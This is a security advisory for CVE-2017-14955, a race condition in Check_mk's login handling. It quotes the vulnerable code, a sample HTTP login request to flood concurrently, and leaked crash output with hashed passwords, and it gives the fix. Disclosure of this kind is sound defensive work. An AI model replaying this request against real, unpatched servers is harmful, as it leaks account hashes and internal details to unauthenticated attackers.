ADVISORY INFORMATION

  • Product: Check_mk
  • Vendor URL: https://checkmk.com
  • Type: Race Condition [CWE-362]
  • Date found: 2017-09-21
  • Date published: 2017-10-18
  • CVSSv3 Score: 7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
  • CVE: CVE-2017-14955

CREDITS

This vulnerability was discovered and researched by Julien Ahrens from RCE Security.

VERSIONS AFFECTED

Check_mk v1.2.8p25 Check_mk v1.2.8p25 Enterprise older versions may be affected too.

INTRODUCTION

Check_MK is comprehensive IT monitoring solution in the tradition of Nagios. Check_MK is available as Raw Edition, which is 100% pure open source, and as Enterprise Edition with a lot of additional features and professional support.

(from the vendor’s homepage)

VULNERABILITY DETAILS

Check_mk is vulnerable to an unauthenticated information disclosure through a race condition during the authentication process when trying to authenticate with a valid username and an invalid password.

On a failed login, the application calls the function save_users(), which performs two os.rename operations on the files “contacts.mk.new” and “users.mk.new” (see /packages/check_mk/check_mk-1.2.8p25/web/htdocs/userdb.py):

[..]
    # Check_MK's monitoring contacts
    filename = root_dir + "contacts.mk.new"
    out = create_user_file(filename, "w")
    out.write("# Written by Multisite UserDB\n# encoding: utf-8\n\n")
    out.write("contacts.update(\n%s\n)\n" % pprint.pformat(contacts))
    out.close()
    os.rename(filename, filename[:-4])
    # Users with passwords for Multisite
    filename = multisite_dir + "users.mk.new"
    make_nagios_directory(multisite_dir)
    out = create_user_file(filename, "w")
    out.write("# Written by Multisite UserDB\n# encoding: utf-8\n\n")
    out.write("multisite_users = \\\n%s\n" % pprint.pformat(users))
    out.close()
    os.rename(filename, filename[:-4])
[...]

When sending many concurrent authentication requests with an existing/valid username, such as:

POST /check_mk/login.py HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---9519178121294961341040589727
Content-Length: 772
Connection: close
Upgrade-Insecure-Requests: 1

---9519178121294961341040589727
Content-Disposition: form-data; name="filled_in"

login
---9519178121294961341040589727
Content-Disposition: form-data; name="_login"

1
---9519178121294961341040589727
Content-Disposition: form-data; name="_origtarget"

index.py
---9519178121294961341040589727
Content-Disposition: form-data; name="_username"

omdadmin
---9519178121294961341040589727
Content-Disposition: form-data; name="_password"

welcome
---9519178121294961341040589727
Content-Disposition: form-data; name="_login"

Login
---9519178121294961341040589727--

Then it could happen that one of both os.rename() calls references a non- existing file, which has just been renamed by a previous thread. This causes the Python script to fail and throw a crash report, which discloses a variety of sensitive information, such as internal server paths, account details including hashed passwords:

</pre></td></tr><tr class="data odd0"><td class="left">Local Variables</td><td><pre>{'contacts': {u'admin': {'alias':
u'Administrator',
        'contactgroups': ['all'],
        'disable_notifications': False,
        'email': u'admin () example com',
        'enforce_pw_change': False,
        'last_pw_change': 0,
        'last_seen': 0.0,
        'locked': False,
        'num_failed': 0,
        'pager': '',
        'password': '$1$400000$13371337asdfasdf',
        'roles': ['admin'],
        'serial': 2},

A script to automatically exploit this vulnerability can be found on [0].

RISK

To successfully exploit this vulnerability, an unauthenticated attacker must only have network-level access to the application.

The vulnerability allows remote attackers to trigger an exception, which discloses a variety of sensitive internal information such as:

  • Local server paths
  • Usernames
  • Passwords (hashed)
  • and user directory-specific attributes (i.e. LDAP)

SOLUTION

Update to 1.2.8p26.

REPORT TIMELINE

  • 2017-09-21: Discovery of the vulnerability
  • 2017-09-21: Sent limited information to publicly listed email address
  • 2017-09-21: Vendor responds and asks for details
  • 2017-09-21: Full vulnerability details sent to vendor
  • 2017-09-25: Vendor pushes fix to git
  • 2017-10-01: MITRE assigns CVE-2017-14955
  • 2017-10-16: Fix confirmed
  • 2017-10-18: Public disclosure

REFERENCES